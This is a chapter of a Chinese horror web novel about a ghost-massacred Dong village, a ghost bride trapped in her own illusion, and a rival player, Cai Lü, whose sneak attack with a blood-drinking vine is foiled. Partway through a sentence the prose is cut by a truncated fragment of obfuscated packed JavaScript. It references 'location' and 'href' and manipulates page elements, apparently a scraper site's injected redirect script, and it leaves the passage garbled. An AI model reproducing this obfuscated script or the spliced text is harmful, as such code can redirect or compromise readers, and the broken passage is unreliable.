65. 啼血侗歌18

“……我一个个数了。全寨两百二十一个人,最后没有剩下哪怕一个活口。”


石沛妮讽刺地笑了笑:“我也是变成鬼以后才知道,我在婚礼上看到的舅妈,只是表哥变出来的幻象。真正的舅妈,早在举办婚礼前就已经死了。被表哥吃的。”


表哥鬼吃的第一口人肉,便是他母亲的。


这个爱子如命的母亲,为了将儿子的鬼魂留在人间,不惜离家远走,用尽千方百计为儿子找到秘法,却遭到了来自亲生骨肉的背刺。


这背刺,表哥鬼蓄谋已久。


深究起因,只是因为舅妈为了将表哥鬼带回村寨后不引人起疑,不得已为表哥鬼塑造了一具仿佛被烧伤了脸的,毁了容的躯体。


这样一张烧伤的脸,让表哥鬼的融入更加艰难。在其他同龄人怪异的目光中,表哥鬼滋生出的阴暗心理,像捂在棉被下的伤口,捂得腐烂流脓,捂得淌出毒汁。


最后,酝酿出了可怕的报复。


“要是我早知道这件事就好了。对生他养他的舅妈,表哥都能做出这么丧尽天良的事情,对其他同寨的人,他更不可能心慈手软。”


石沛妮内心的悔疚无可复加:“我只恨我没有早点看清表哥,被他那副惺惺作态的模样蒙骗,信了他那只要我牺牲自己,他就不会为难我们的鬼话。我要是拼尽全力,殊死一搏,未必没有救下寨子的希望……”


发现村寨覆灭的那一刻,正是这自责与痛苦交织成的巨大精神刺激,压垮了她。


在那冲击之下,石沛妮潜意识里的自保机制被动开启,使她在浑浑噩噩中,构建起理想化的幻境,忘却了这个痛彻心扉的悲剧。


幻境里的时间,永远凝固在婚礼之前,定格在最美好的时候。


如一场永远不会醒来的美梦。


然而,所遭遇的创伤并没有随着记忆的尘封而消失,而是在潜意识里生根发芽,让石沛妮在无意识中,一次次尝试冲破表哥鬼的幻境,试图拯救被困在其中的寨民和被骗来的外人。


在一次次的失败后。她的努力,终于迎来了转机。


亡者已逝,再难复生,悲痛无济于事。


他们能改变的,只有未来。


顾斩风看向石沛妮:“你当初没能救下寨子里的人,但是现在,你有机会救下其他即将被表哥鬼吃掉的人。”


表哥鬼并没有因为杀死寨里的两百多人,而有丝毫收敛。恰恰相反,那次尝到甜头后,他越发变本加厉。而寨中那些惨死的人,也未得安息。


表哥鬼以剥皮施法之术,把死者变作傀儡,利用他们骗外人入寨食用。


这一情况,还在继续。


昔年热情好客的侗寨,如今已沦为表哥鬼大本营,在寨外臭名昭著,而寨内白骨累累。


龙骁也开口帮腔:“你要是真的想保护寨里的人,就应该尽早帮他们报仇雪恨,帮他们从控制当中解脱。而不是把自己困在幻境里,欺骗自己,假装一切都还停留在悲剧发生之前。”


倘如不制止,将有更多悲剧发生。


当年全寨覆灭的惨状,会在一个又一个寨子的侗族人身上,再次上演。这难道是石沛妮希望看到的吗?


显然不是。


然而,过去了这么久,表哥鬼对寨子的可怕控制力,已经渗透进方方面面。


当年表哥鬼才刚开始行动时,仅凭他一鬼之力,便已能和练武的石沛妮打个难分高下。在表哥鬼实力壮大之后的今天,再想要将他击败消灭,谈何容易。


石沛妮不是热血一上头,就冲上去蛮干的莽夫。经历过村寨一劫后的她,已在自责的折磨下,蜕变得更加谨慎沉稳。


“这件事不是小事,需要从长计议。”


石沛妮说着,想到了那个道出惨烈事实,逼迫她觉醒的声音。


“你们刚刚说话的那个朋友,要进来幻境里吗?”石沛妮向齐檎丹发出邀请,“表哥终归是有些忌惮我的,在我构筑的幻境里,我表哥不敢造次,这里总归会安全一些,说话讨论也方便。”


不像在现实里,每一个死去的寨民,都是能充作表哥鬼耳目的傀儡。


隔墙不止有耳。


说不定,还有眼睛、鼻子和嘴巴。


现实里的村寨处在表哥鬼的严密监控下,就连想说点什么,都不能安心。


龙骁手速快,没一会儿就帮着把石沛妮的邀约发到群里,转告给了远在现实空间的齐檎丹和梁安颜。


但齐檎丹听完以后,却只能无奈叹气:“我们不是不想进,是进不去。虽然基本可以确定,侗族大歌是开启空间穿梭通道的媒介,只要听到侗族大歌我们就能过去,但现在,现实里的村寨……没有歌曲。”


齐檎丹和梁安颜所处的地方,虽是现实世界里的侗寨,却是一个凋敝残破的,没有歌谣的现实。


寨里善歌的百姓,被表哥鬼剥皮、施法,成了浑浑噩噩的鬼怪傀儡。


他们被奴役控制,剥夺自由,削弱乃至抹杀精神……他们丧失了放声高歌的权力。曾经令寨中人们引以为傲的好嗓子,也在这残酷的压迫中生了锈。


最喜爱歌声的侗寨,如今却被死寂侵吞。


何其可悲。


齐檎丹:“没有了侗族大歌,我们便无法借助这类歌谣的力量进行空间穿梭,没法去往石沛妮的幻境跟你们汇合。”


“这好办。”石沛妮当即表示,“我马上唱一段,给你们发过去就好了。”


唱歌对石沛妮来说,完全是小菜一碟。


没有难度。


她很快清嗓开唱,一气呵成。


一整首歌录下来以后,顾斩风考虑到对歌曲人数上的要求,又将人声提取出来,多次叠加,打造出了多人合唱的效果。


至于音量上需要的足够大声,顾斩风也替她们想过。村寨里的人虽然变成傀儡了,但屋里的音响设备应该还留着。只要齐檎丹和梁安颜找到音响设备,利用音响扩大歌声音量,从现实进入石沛妮的幻境不是问题。


石沛妮更是直接给出了她家放音响的位置:“我家就有音响设备。就在我卧室的床头柜里,有个扩音器。扩音器装的电池应该还剩下一点电,能用。”


侗族大歌和音响已就位。


万事俱备,只等她们进到幻境里来。


但音频文件和扩音器的位置发过去后,群里却静悄悄的,齐檎丹没回复消息,梁安颜也没有。就连新发去的歌声音频,也没有显示“已下载”的标识。


石沛妮更是迟迟没有在自己的幻境里,感受到她们的来临。


“又发送失败了?”顾斩风最先感受到不对劲。他点开群聊看了一眼,没发现异常。


龙骁也皱着眉头检查了一番,同样没能找到任何问题:“没失败啊,我这回绝对发出去了。她们刚刚也都在线啊,按理说,这时候应该早看到了才对。”


可是为什么没下载音频,也没回应?


这不应该啊。


霎时间,另一边发生的所有可能性,在顾斩风脑海中迅速过了一遍。


剔除所有小概率选项过后,剩下的最后一种可能,在顾斩风眼里,沉淀下一片雾沉沉的浓黑:


“她们那里,出事了。”


.


齐檎丹是看到了那些消息的,但她没来得及下载音频。


因为她的背后——


一个身影,正悄无声息地靠近。


鞋底缓缓摩擦过地面,接触时发出极轻微的沙沙声,须臾被黑夜吞没。


男人的脚步很轻,动作谨慎,然而一缕斜照进窗棂的稀薄月光,却照亮了他上扬的嘴角,和掌心那棵冒尖的绿藤。


现如今,这绿藤哪儿有半点齐檎丹先前看到的柔软脆弱?


全然是贪.婪嗜血的模样。


剥去了温良的外衣,藤的颜色被毒液浸泡过一样绿得发黑的。每一寸藤条外,都包裹着狰狞的尖刺。刺尖不易察觉的猩红,扎眼又可怖,不知道是鬼怪还是人类的鲜血。


只不过一转眼,男人便已到了卧室门口。齐檎丹背对着他站着,正低头看向群聊界面,毫不设防地露出一截后颈。


那里的皮肤那么薄,那么软,哪怕是尚未完全成型的小刺,都能轻而易


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15109537|158985||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


举地穿透。


刺破人体组织,刺进动脉。


畅快地吮.吸人血。


考察系统是不允许杀害其他考察员的行为,但只要不把血全部吸干,暂时留下她们的贱命,再把失血性休克的她们丢进鬼怪群里,喂给鬼怪吃光,系统就不会责怪到他头上了。


毕竟直接造成她们死亡的,那可是鬼怪啊,跟他蔡绿有什么关系?


懦弱无能真是一张好面具,能让见到他的人卸下警惕心。到时候出副本了,他只要再换个假名,改个外貌,让直播间里的观众也认不出来的他,他就又是清清白白的一朵白莲花。


齐檎丹的后颈近在咫尺,想起血液温热浓厚的口感,蔡绿舔了舔嘴唇,阴沉沉地诅咒:“去死吧。”


藤条倏然飞起,尖刺暴增。


藤条化作带刺长鞭,吐着幽幽绿光,猛地甩出,直逼齐檎丹细嫩的脖颈而去。


本来这一击,蔡绿势在必得。


不料齐檎丹就像背后长了眼睛一样,居然掐着藤鞭甩来的刹那,极其精准地往前一个大跨步,离开了藤鞭能攻击到的最远范围。


蔡绿一鞭抽了个空,藤条尖端甩到旁边的柜子上,声音清脆得像是一记耳光,打得蔡绿心头一惊:“你……你是怎么发现我的?”他明明隐蔽了气息,身影也很小心没让齐檎丹看到。


为什么这样还是暴露了?


蔡绿咬牙切齿,心有不甘。他不明白,他到底是哪里出了问题。


齐檎丹回身往脸上一指,深茶色的笑眼月牙似的弯起,剔透莹亮:“用眼睛啊。”


蔡绿:“可是你的眼睛,当时明明在盯着……”


齐檎丹双手叉腰:“回头。”


石沛妮家中的隐蔽处,好些侗族打扮的鬼怪接连走出来,热情地挥着手,跟蔡绿打了个招呼:“嗨。”


当蔡绿专注在齐檎丹和梁安颜身上,一门心思全想着从背后攻击她们的时候,估计不曾想到,蔡绿自己的背后,也正被十几双眼睛同时盯着。


螳螂捕蝉,黄雀在后。


愚蠢的绿螳螂落入陷阱了还没想到,被捕的那只蝉,其实才是真正的黄雀。


在这出好戏里,螳螂才是唯一的猎物。


齐檎丹笑着眨了眨眼:“一个人的眼睛不够用,但是一群人的可以啊。你太注意防着我,忘了防他们了。”


蔡绿不假装口吃了,卸去虚假的怯懦后,他的表情阴冷得让人生畏:“你是什么时候发现,我不值得信任的?”


齐檎丹耸了下肩:“从一开始。”


蔡绿输在对他的伪装能力太自信了。齐檎丹的信任不廉价,也不会批发,她当然不会对一个才见面的,而且对她曾经图谋不轨的人交付信任。


她要蔡绿去看门望风,只是支开蔡绿的说辞。


从最早,齐檎丹就设了防。


在齐檎丹进入石沛妮的卧室之前,她就预先使用了照片道具。


这些帮忙盯着蔡绿行踪的眼睛,都是照片道具“拦门酒”的功劳。这张名为“拦门酒”的照片,是齐檎丹现有的照片道具里,人数最多的一张。


当时在寨门口拦他们的那些侗族青年,足有十几二十个,全被拍进了那张照片。


蔡绿那绿色的头发那么显眼,又有那么多双眼睛帮忙盯着,他偷袭时的踪迹,自然无所遁形。


一旁的梁安颜蹙着眉心,观察着那暗绿得怪异的吸血藤条,表情越发古怪:“他的个人技能居然不是‘绿藤之心’,而是‘嗜血毒藤’。难道我当初判断失误了?”


同一个技能,怎么会有两副不同的样子?


用来躲人的“绿藤之心”和用来杀人的“嗜血毒藤”,虽然都是藤,作用可是截然相反啊。


梁安颜的语气愈发沉重:“如果真是‘嗜血毒藤’,那就更糟糕了。据我所知,西金公会里使用这个技能的,只有代号是‘绿幽灵’的那个。”


“红鬼”、“蓝鹰”和“绿幽灵”,是西金公会的三大高手。


此刻,“绿幽灵”本人正站在她们面前。


“绿幽灵”就是蔡绿。